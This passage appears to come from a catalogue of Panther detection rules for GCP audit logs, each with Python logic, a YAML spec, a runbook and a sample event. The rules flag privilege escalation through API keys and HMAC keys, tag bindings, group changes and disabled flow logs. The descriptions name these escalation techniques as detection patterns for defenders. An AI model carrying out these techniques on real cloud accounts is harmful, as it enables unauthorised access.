"receiveTimestamp": "2023-03-09 15:50:37.603",
"resource": {
"labels": {
"email_id": "created-service-account@gcp-project1.iam.gserviceaccount.com",
"project_id": "gcp-project1",
"unique_id": "123456789098765434567"
},
"type": "service_account"
},
"severity": "NOTICE",
"timestamp": "2023-03-09 15:50:36.148"
}
GCP serviceusage.apiKeys.create Privilege Escalation
#Detects serviceusage.apiKeys.create method for privilege escalation in GCP. By default, API Keys are created with no restrictions, which means they have access to the entire GCP project they were created in. We can capitalize on that fact by creating a new API key that may have more privileges than our own user.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | google.api.apikeys.ApiKeys.CreateKey: Create API key |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
if not event.deep_get("protoPayload", "methodName", default="METHOD_NOT_FOUND").endswith(
"ApiKeys.CreateKey"
):
return False
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if auth.get("permission") == "serviceusage.apiKeys.create" and auth.get("granted") is True:
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] created new API Key in project [{project_id}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
LogTypes:
- GCP.AuditLog
Description:
Detects serviceusage.apiKeys.create method for privilege escalation in GCP. By default, API Keys are
created with no restrictions, which means they have access to the entire GCP project they were created in. We can
capitalize on that fact by creating a new API key that may have more privileges than our own user.
DisplayName: "GCP serviceusage.apiKeys.create Privilege Escalation"
RuleID: "GCP.serviceusage.apiKeys.create.Privilege.Escalation"
Enabled: true
Filename: gcp_serviceusage_apikeys_create_privilege_escalation.py
Reference: https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/
Runbook:
Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability
in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against
them. It’s also important to remember that privilege escalation does not necessarily need to pass through the
IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help
mitigate these security risks.
Reports:
MITRE ATT&CK:
- TA0004:T1548 # Abuse Elevation Control Mechanism
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNameends withApiKeys.CreateKeyprotoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionisserviceusage.apiKeys.createprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionisserviceusage.apiKeys.create
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | eq |
| field:"protoPayload.authorizationInfo.permission" kind:eq value:"serviceusage.apiKeys.create" |
protoPayload.methodName | ends_with |
| field:"protoPayload.methodName" kind:ends_with value:"ApiKeys.CreateKey" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against them. It’s also important to remember that privilege escalation does not necessarily need to pass through the IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Factivity",
"operation": {
"id": "operations/akmf.p7-1028347275902-fe0c0688-44a7-4dca-bc06-8456068e5673",
"last": true,
"producer": "apikeys.googleapis.com"
},
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "some.user@some-project.com",
"principalSubject": "serviceAccount:some-team@some-project.com",
"serviceAccountKeyName": "//iam.googleapis.com/projects/some-project/serviceAccounts/some-team@some-project.gserviceaccount.com/keys/dc5344c246064589v76ec76f66bafc92b093ed41"
},
"authorizationInfo": [
{
"granted": true,
"permission": "serviceusage.apiKeys.create",
"resource": "projectnumbers/1028347245602",
"resourceAttributes": {}
}
],
"methodName": "google.api.apikeys.v2.ApiKeys.CreateKey",
"request": {
"@type": "type.googleapis.com/google.api.apikeys.v2.CreateKeyRequest",
"parent": "projects/some-project/locations/global"
},
"requestMetadata": {
"callerIP": "189.163.74.177",
"callerSuppliedUserAgent": "(gzip),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {}
},
"resourceName": "projects/1028347245602",
"response": {
"@type": "type.googleapis.com/google.api.apikeys.v2.Key",
"createTime": "1970-01-01T00:00:00Z",
"etag": "W/\"DSLGu9UKHwqq2ICm7YPE7g==\"",
"name": "projects/1028347245602/locations/global/keys/bf67db25-d748-4335-ae08-7f0e65fnfy02",
"updateTime": "1970-01-01T00:00:00Z"
},
"serviceName": "apikeys.googleapis.com",
"status": {}
},
"receiveTimestamp": "2024-01-25 13:28:18.961519813",
"resource": {
"labels": {
"method": "google.api.apikeys.v2.ApiKeys.CreateKey",
"project_id": "some-project",
"service": "apikeys.googleapis.com"
},
"type": "audited_resource"
},
"severity": "NOTICE",
"timestamp": "2024-01-25 13:28:18.961519813"
}
GCP Snapshot Creation Detection
#This rule detects when someone with an unexpected email domain creates a snapshot of a Compute Disk.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | compute.snapshots.insert: insert |
Detection logic
from panther_gcp_helpers import gcp_alert_context
EXPECTED_DOMAIN = "@your-domain.tld"
def rule(event):
if event.deep_get("protoPayload", "response", "error"):
return False
method = event.deep_get("protoPayload", "methodName", default="METHOD_NOT_FOUND")
if method != "v1.compute.snapshots.insert":
return False
email = event.deep_get("protoPayload", "authenticationInfo", "principalEmail", default="")
if not email.endswith(EXPECTED_DOMAIN):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
project = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: Unexpected domain [{actor}] created a snapshot on project [{project}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
DedupPeriodMinutes: 60
DisplayName: GCP Snapshot Creation Detection
Enabled: false
Filename: gcp_snapshot_insert.py
RuleID: "GCP.Compute.Snapshot.UnexpectedDomain"
Severity: Medium
LogTypes:
- GCP.AuditLog
Tags:
- Configuration Required
Description: >
This rule detects when someone with an unexpected email domain creates a snapshot of a Compute Disk.
Runbook: >
Investigate the snapshot creation to ensure it was authorized. Unauthorized snapshot creation can lead to data exfiltration.
Reference: https://cloud.google.com/compute/docs/disks/snapshots
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.response.erroris emptyprotoPayload.methodNameisv1.compute.snapshots.insertprotoPayload.authenticationInfo.principalEmaildoes not end with@your-domain.tld
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
protoPayload.authenticationInfo.principalEmail | ends_with | @your-domain.tld | excludes:protoPayload.authenticationInfo.principalEmail field:"protoPayload.authenticationInfo.principalEmail" value:"@your-domain.tld" |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq value:"v1.compute.snapshots.insert" |
protoPayload.response.error | is_null | field:"protoPayload.response.error" kind:is_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Investigate the snapshot creation to ensure it was authorized. Unauthorized snapshot creation can lead to data exfiltration.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "1abcd23efg456",
"logName": "projects/test-project/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@unexpected-domain.com"
},
"methodName": "v1.compute.snapshots.insert",
"resourceName": "projects/test-project/global/snapshots/snapshot-1",
"serviceName": "compute.googleapis.com"
},
"resource": {
"labels": {
"project_id": "test-project"
},
"type": "gce_snapshot"
},
"severity": "NOTICE",
"timestamp": "2023-10-01T12:34:56.789Z"
}
GCP SQL Config Changes
#Monitoring changes to Sql Instance configuration may reduce time to detect and correct misconfigurations done on sql server.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | cloudsql.instances.update |
Detection logic
def rule(event):
return event.deep_get("protoPayload", "methodName") == "cloudsql.instances.update"
def dedup(event):
return event.deep_get("resource", "labels", "project_id", default="<UNKNOWN_PROJECT>")
Rule specification
AnalysisType: rule
Filename: gcp_sql_config_changes.py
RuleID: "GCP.SQL.ConfigChanges"
DisplayName: "GCP SQL Config Changes"
Enabled: true
DedupPeriodMinutes: 720 # 12 hours
LogTypes:
- GCP.AuditLog
Tags:
- GCP
- Database
Reports:
CIS:
- 2.11
Severity: Low
Description: >
Monitoring changes to Sql Instance configuration may reduce time to detect and correct misconfigurations done on sql server.
Runbook: Validate the Sql Instance configuration change was safe
Reference: https://cloud.google.com/sql/docs/mysql/instance-settings
SummaryAttributes:
- severity
- p_any_ip_addresses
- p_any_domain_names
Stages and Predicates
Fires on GCP.AuditLog events when the condition below holds.
Condition
protoPayload.methodNameiscloudsql.instances.update
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq value:"cloudsql.instances.update" |
Response runbook
Validate the Sql Instance configuration change was safe
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@runpanther.io"
},
"methodName": "cloudsql.instances.update",
"requestMetadata": {
"callerIp": "136.24.229.58",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36,gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2020-05-15T04:28:42.243082428Z"
}
},
"serviceName": "storage.googleapis.com",
"status": {}
},
"resource": {
"labels": {
"location": "asia-northeast2",
"project_id": "western-verve-123456"
},
"type": "sql_instance"
}
}
GCP storage hmac keys create
#There is a feature of Cloud Storage, “interoperability”, that provides a way for Cloud Storage to interact with storage offerings from other cloud providers, like AWS S3. As part of that, there are HMAC keys that can be created for both Service Accounts and regular users. We can escalate Cloud Storage permissions by creating an HMAC key for a higher-privileged Service Account.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | any: storage.googleapis.com (any method) |
Detection logic
def rule(event):
auth_info = event.deep_walk("protoPayload", "authorizationInfo", default=[])
auth_info = auth_info if isinstance(auth_info, list) else [auth_info]
for auth in auth_info:
if auth.get("granted", False) and auth.get("permission", "") == "storage.hmacKeys.create":
return True
return False
Rule specification
AnalysisType: rule
RuleID: "GCP.Storage.Hmac.Keys.Create"
DisplayName: "GCP storage hmac keys create"
Description: "There is a feature of Cloud Storage, “interoperability”, that provides a way for Cloud Storage to interact with storage offerings from other cloud providers, like AWS S3. As part of that, there are HMAC keys that can be created for both Service Accounts and regular users. We can escalate Cloud Storage permissions by creating an HMAC key for a higher-privileged Service Account."
Enabled: true
LogTypes:
- GCP.AuditLog
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/
Reports:
MITRE ATT&CK:
- TA0004:T1548
Filename: gcp_storage_hmac_keys_create.py
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
any element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.grantedis presentprotoPayload.authorizationInfo.permissionisstorage.hmacKeys.create
protoPayload.authorizationInfo.permissionisstorage.hmacKeys.create
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo.permission | eq |
| field:"protoPayload.authorizationInfo.permission" kind:eq value:"storage.hmacKeys.create" |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"authorizationInfo": [
{
"granted": true,
"permission": "storage.hmacKeys.create"
}
],
"methodName": "v2.deploymentmanager.deployments.insert",
"serviceName": "deploymentmanager.googleapis.com"
},
"receiveTimestamp": "2024-01-19 13:47:19.465856238",
"resource": {
"labels": {
"name": "test-vm-deployment",
"project_id": "panther-threat-research"
},
"type": "deployment"
},
"severity": "NOTICE",
"timestamp": "2024-01-19 13:47:18.279921000"
}
GCP Tag Binding Creation
#Detects the creation of tag bindings in GCP, which could be part of a privilege escalation attempt using tag-based access control.
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
method_name = event.deep_get("protoPayload", "methodName", default="")
return method_name.endswith("TagBindings.CreateTagBinding")
def title(event):
principal = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<UNKNOWN>"
)
resource = event.deep_get("protoPayload", "resourceName", default="<UNKNOWN>")
return f"GCP Tag Binding Creation by {principal} - {resource}"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
RuleID: GCP.Tag.Binding.Creation
Description: >
Detects the creation of tag bindings in GCP, which could be part of a privilege
escalation attempt using tag-based access control.
DisplayName: GCP Tag Binding Creation
Enabled: true
Filename: gcp_tag_binding_creation.py
LogTypes:
- GCP.AuditLog
CreateAlert: false
Runbook: |
Verify if the user has legitimate business need for creating this tag binding.
If unauthorized, revoke the tag binding and review IAM policies.
Severity: Info
Tags:
- attack.privilege_escalation
- attack.t1548
- gcp
- iam
- tagbinding
Stages and Predicates
Fires on GCP.AuditLog events when the condition below holds.
Condition
protoPayload.methodNameends withTagBindings.CreateTagBinding
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | ends_with |
| field:"protoPayload.methodName" kind:ends_with value:"TagBindings.CreateTagBinding" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Verify if the user has legitimate business need for creating this tag binding.
If unauthorized, revoke the tag binding and review IAM policies.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"authenticationInfo": {
"principalEmail": "test@example.com"
},
"methodName": "TagBindings.CreateTagBinding",
"resourceName": "projects/test-project"
},
"resource": {
"labels": {
"project_id": "test-project"
}
},
"timestamp": "2024-01-01T00:00:00Z"
}
GCP User Added to IAP Protected Service
#A user has been granted access to a IAP protected service.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | google.cloud.iap.IdentityAwareProxyAdminService.SetIamPolicy: Set IAP IAM policy |
Detection logic
def rule(event):
return (
event.deep_get("protoPayload", "methodName", default="")
== "google.cloud.iap.v1.IdentityAwareProxyAdminService.SetIamPolicy"
)
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
service = event.deep_get("protoPayload", "request", "resource", default="<RESOURCE_NOT_FOUND>")
return f"GCP: [{actor}] modified user access to IAP Protected Service [{service}]"
def alert_context(event):
bindings = event.deep_get("protoPayload", "request", "policy", "bindings", default=[{}])
return {"bindings": bindings}
Rule specification
AnalysisType: rule
Description: A user has been granted access to a IAP protected service.
DisplayName: "GCP User Added to IAP Protected Service"
Enabled: true
Filename: gcp_user_added_to_iap_protected_service.py
Runbook: "Note: GCP logs all bindings everytime this event occurs, not just changes. Bindings should be reviewed to ensure no unintended users have been added. "
Reference: https://cloud.google.com/iap/docs/managing-access
Severity: Low
DedupPeriodMinutes: 60
LogTypes:
- GCP.AuditLog
RuleID: "GCP.User.Added.to.IAP.Protected.Service"
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when the condition below holds.
Condition
protoPayload.methodNameisgoogle.cloud.iap.v1.IdentityAwareProxyAdminService.SetIamPolicy
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq value:"google.cloud.iap.v1.IdentityAwareProxyAdminService.SetIamPolicy" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
bindings | protoPayload.request.policy.bindings |
principalEmail | protoPayload.authenticationInfo.principalEmail |
resource | protoPayload.request.resource |
Response runbook
Note: GCP logs all bindings everytime this event occurs, not just changes. Bindings should be reviewed to ensure no unintended users have been added.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "46ee5sd38mw",
"logName": "projects/gcp-project1/logs/cloudaudit.googleapis.com%2Factivity",
"p_any_emails": [
"staging@company.io"
],
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_event_time": "2023-04-25 19:20:57.024",
"p_log_type": "GCP.AuditLog",
"p_parse_time": "2023-04-25 19:22:14.743",
"p_row_id": "b2e9b7f5dc85a69981fac2e417b6bb03",
"p_schema_version": 0,
"p_source_id": "5b77391b-afad-46c7-8ddc-b8e21d4726b3",
"p_source_label": "gcplogsource2",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "staging@company.io"
},
"authorizationInfo": [
{
"granted": true,
"permission": "iap.webServices.setIamPolicy",
"resourceAttributes": {
"name": "projects/123456789012/iap_web/compute/services/7312383563505470445",
"service": "iap.googleapis.com",
"type": "iap.googleapis.com/WebService"
}
}
],
"methodName": "google.cloud.iap.v1.IdentityAwareProxyAdminService.SetIamPolicy",
"request": {
"@type": "type.googleapis.com/google.iam.v1.SetIamPolicyRequest",
"policy": {
"etag": "BwX6LgT4YMw="
},
"resource": "projects/123456789012/iap_web/compute/services/7312383563505470445"
},
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2023-04-25T19:20:57.295723118Z"
}
},
"resourceName": "projects/123456789012/iap_web/compute/services/7312383563505470445",
"response": {
"@type": "type.googleapis.com/google.iam.v1.Policy",
"etag": "BwX6LgXbpsw="
},
"serviceName": "iap.googleapis.com"
},
"receiveTimestamp": "2023-04-25 19:20:58.16",
"resource": {
"labels": {
"backend_service_id": "",
"location": "",
"project_id": "gcp-project1"
},
"type": "gce_backend_service"
},
"severity": "NOTICE",
"timestamp": "2023-04-25 19:20:57.024"
}
GCP User Added to Privileged Group
#A user was added to a group with special previleges
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Detection logic
from panther_base_helpers import key_value_list_to_dict
PRIVILEGED_GROUPS = {
# "admins@example.com"
}
USER_EMAIL = ""
GROUP_EMAIL = ""
def rule(event):
events = event.deep_get("protoPayload", "metadata", "event", default=[])
for event_ in events:
if event_.get("eventname") != "ADD_GROUP_MEMBER":
continue
# Get the username
params = key_value_list_to_dict(event_.get("parameter", []), "name", "value")
global USER_EMAIL, GROUP_EMAIL # pylint: disable=global-statement
USER_EMAIL = params.get("USER_EMAIL")
GROUP_EMAIL = params.get("GROUP_EMAIL")
if GROUP_EMAIL in get_privileged_groups():
return True
return False
def title(event):
actor = event.deep_get("actor", "email", default="")
global USER_EMAIL, GROUP_EMAIL
return f"{actor} has added {USER_EMAIL} to the privileged group {GROUP_EMAIL}"
def get_privileged_groups():
# We make this a function, so we can mock it for unit tests
return PRIVILEGED_GROUPS
Rule specification
AnalysisType: rule
Filename: gcp_user_added_to_privileged_group.py
RuleID: "GCP.User.Added.To.Privileged.Group"
DisplayName: "GCP User Added to Privileged Group"
Enabled: false
LogTypes:
- GCP.AuditLog
Severity: Low
Tags:
- Configuration Required
Reports:
MITRE ATT&CK:
- TA0004:T1078.004 # Privilege Escalation: Valid Accounts: Cloud Accounts
- TA0004:T1484.001 # Privilege Escalation: Domain or Tenant Policy Modification: Group Policy Modification
Description: A user was added to a group with special previleges
DedupPeriodMinutes: 60
Threshold: 1
Reference:
https://github.com/GoogleCloudPlatform/security-analytics/blob/main/src/2.02/2.02.md
Runbook: Determine if the user had been added to the group for legitimate reasons.
Stages and Predicates
Rule logic imperative Python
The parser could not express this rule's Python logic as a structured condition; the complete logic is under Detection logic above.
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
email | actor.email |
Response runbook
Determine if the user had been added to the group for legitimate reasons.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "285djodxlmu",
"logName": "organizations/123/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "admin@example.com"
},
"metadata": {
"@type": "type.googleapis.com/ccc_hosted_reporting.ActivityProto",
"activityId": {
"timeUsec": "1647987178916000",
"uniqQualifier": "-8614641986436885296"
},
"event": [
{
"eventName": "ADD_GROUP_MEMBER",
"eventType": "GROUP_SETTINGS",
"parameter": [
{
"label": "LABEL_OPTIONAL",
"name": "USER_EMAIL",
"type": "TYPE_STRING",
"value": "test-user@example.com"
},
{
"label": "LABEL_OPTIONAL",
"name": "GROUP_EMAIL",
"type": "TYPE_STRING",
"value": "admins@example.com"
}
]
}
]
},
"methodName": "google.admin.AdminService.addGroupMember",
"requestMetadata": {
"callerIP": "11.22.33.44",
"destinationAttributes": {},
"requestAttributes": {}
},
"resourceName": "organizations/123/groupSettings",
"serviceName": "admin.googleapis.com"
},
"receiveTimestamp": "2022-03-22T22:12:59.439766009Z",
"resource": {
"labels": {
"method": "google.admin.AdminService.addGroupMember",
"service": "admin.googleapis.com"
},
"type": "audited_resource"
},
"severity": "NOTICE",
"timestamp": "2022-03-22T22:12:58.916Z"
}
GCP VPC Flow Logs Disabled
#VPC flow logs were disabled for a subnet.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | compute.subnetworks.patch: patch |
Detection logic
def rule(event):
return all(
[
event.get("protoPayload"),
event.deep_get("protoPayload", "methodName", default="")
== "v1.compute.subnetworks.patch",
event.deep_get("protoPayload", "request", "enableFlowLogs") is False,
]
)
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
resource = event.deep_get("protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>")
return f"GCP: [{actor}] disabled VPC Flow Logs for [{resource}]"
Rule specification
AnalysisType: rule
Description: VPC flow logs were disabled for a subnet.
DisplayName: "GCP VPC Flow Logs Disabled"
Enabled: true
Filename: gcp_vpc_flow_logs_disabled.py
Reference: https://cloud.google.com/vpc/docs/using-flow-logs
Severity: Medium
DedupPeriodMinutes: 60
LogTypes:
- GCP.AuditLog
RuleID: "GCP.VPC.Flow.Logs.Disabled"
Threshold: 1
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayloadis presentprotoPayload.methodNameisv1.compute.subnetworks.patchprotoPayload.request.enableFlowLogsisfalse
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload | is_not_null | field:"protoPayload" kind:is_not_null | |
protoPayload.methodName | eq |
| field:"protoPayload.methodName" kind:eq value:"v1.compute.subnetworks.patch" |
protoPayload.request.enableFlowLogs | eq |
| field:"protoPayload.request.enableFlowLogs" kind:eq value:"false" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
principalEmail | protoPayload.authenticationInfo.principalEmail |
resourceName | protoPayload.resourceName |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "123456",
"logName": "projects/gcp-project/logs/cloudaudit.googleapis.com%2Factivity",
"operation": {
"first": true,
"id": "operation-abc-123",
"last": true,
"producer": "compute.googleapis.com"
},
"p_any_ip_addresses": [
"1.2.3.4"
],
"p_event_time": "2023-03-08 18:52:58.322",
"p_log_type": "GCP.AuditLog",
"p_parse_time": "2023-03-08 18:54:14.597",
"p_source_label": "gcplogsource",
"protoPayload": {
"at_sign_type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user1@company.io"
},
"authorizationInfo": [
{
"granted": true,
"permission": "compute.subnetworks.update",
"resourceAttributes": {
"name": "projects/gcp-project/regions/us-central1/subnetworks/default",
"service": "compute",
"type": "compute.subnetworks"
}
}
],
"methodName": "v1.compute.subnetworks.patch",
"request": {
"@type": "type.googleapis.com/compute.subnetworks.patch",
"enableFlowLogs": false,
"fingerprint": "/�/��\u0003��"
},
"requestMetadata": {
"callerIP": "1.2.3.4",
"callerSuppliedUserAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36,gzip(gfe),gzip(gfe)",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"reason": "8uSywAYQGg5Db2xpc2V1bSBGbG93cw",
"time": "2023-03-08T18:52:58.731721Z"
}
},
"resourceName": "projects/gcp-project/regions/us-central1/subnetworks/default",
"response": {
"@type": "type.googleapis.com/operation",
"endTime": "2023-03-08T10:52:58.700-08:00",
"id": "123456",
"insertTime": "2023-03-08T10:52:58.699-08:00",
"name": "operation-1678301578299-5f668096688bc-0635b6ef-4d0122bb",
"operationType": "compute.subnetworks.patch",
"progress": "100",
"region": "https://www.googleapis.com/compute/v1/projects/gcp-project/regions/us-central1",
"selfLink": "https://www.googleapis.com/compute/v1/projects/gcp-project/regions/us-central1/operations/1234",
"selfLinkWithId": "https://www.googleapis.com/compute/v1/projects/gcp-project/regions/us-central1/operations/1234",
"startTime": "2023-03-08T10:52:58.700-08:00",
"status": "DONE",
"targetId": "123456",
"targetLink": "https://www.googleapis.com/compute/v1/projects/gcp-project/regions/us-central1/subnetworks/default",
"user": "user1@company.io"
},
"serviceName": "compute.googleapis.com"
},
"receiveTimestamp": "2023-03-08 18:52:58.991",
"resource": {
"labels": {
"location": "us-central1",
"project_id": "gcp-project",
"subnetwork_id": "123456",
"subnetwork_name": "default"
},
"type": "gce_subnetwork"
},
"severity": "NOTICE",
"timestamp": "2023-03-08 18:52:58.322"
}
GCP Workforce Pool Created or Updated
#MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Privilege Escalation |
Telemetry coverage
Detection logic
METHODS = [
"google.iam.admin.v1.WorkforcePools.CreateWorkforcePool",
"google.iam.admin.v1.WorkforcePools.UpdateWorkforcePool",
]
def rule(event):
return event.deep_get("protoPayload", "methodName", default="") in METHODS
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
workforce_pool = event.deep_get(
"protoPayload", "request", "workforcePool", "name", default=""
).split("/")[-1]
resource = organization_id = event.get("logName", "<LOG_NAME_NOT_FOUND>").split("/")
organization_id = resource[resource.index("organizations") + 1]
return (
f"GCP: [{actor}] created or updated workforce pool "
f"[{workforce_pool}] in organization [{organization_id}]"
)
def alert_context(event):
return event.deep_get("protoPayload", "request", "workforcePool", default={})
Rule specification
AnalysisType: rule
Filename: gcp_workforce_pool_created_or_updated.py
RuleID: "GCP.Workforce.Pool.Created.or.Updated"
DisplayName: "GCP Workforce Pool Created or Updated"
Enabled: true
LogTypes:
- GCP.AuditLog
Tags:
- Account Manipulation
- Additional Cloud Roles
- GCP
- Privilege Escalation
Reports:
MITRE ATT&CK:
- TA0003:T1136.003
- TA0003:T1098.003
- TA0004:T1098.003
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Runbook: >
Ensure that the Workforce Pool creation or modification was expected. Adversaries may use this to persist or allow additional access or escalate their privilege.
Reference: https://medium.com/google-cloud/detection-of-inbound-sso-persistence-techniques-in-gcp-c56f7b2a588b
Stages and Predicates
Fires on GCP.AuditLog events when the condition below holds.
Condition
protoPayload.methodNameis one ofgoogle.iam.admin.v1.WorkforcePools.CreateWorkforcePool,google.iam.admin.v1.WorkforcePools.UpdateWorkforcePool
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | in |
| field:"protoPayload.methodName" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
principalEmail | protoPayload.authenticationInfo.principalEmail |
Response runbook
Ensure that the Workforce Pool creation or modification was expected. Adversaries may use this to persist or allow additional access or escalate their privilege.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
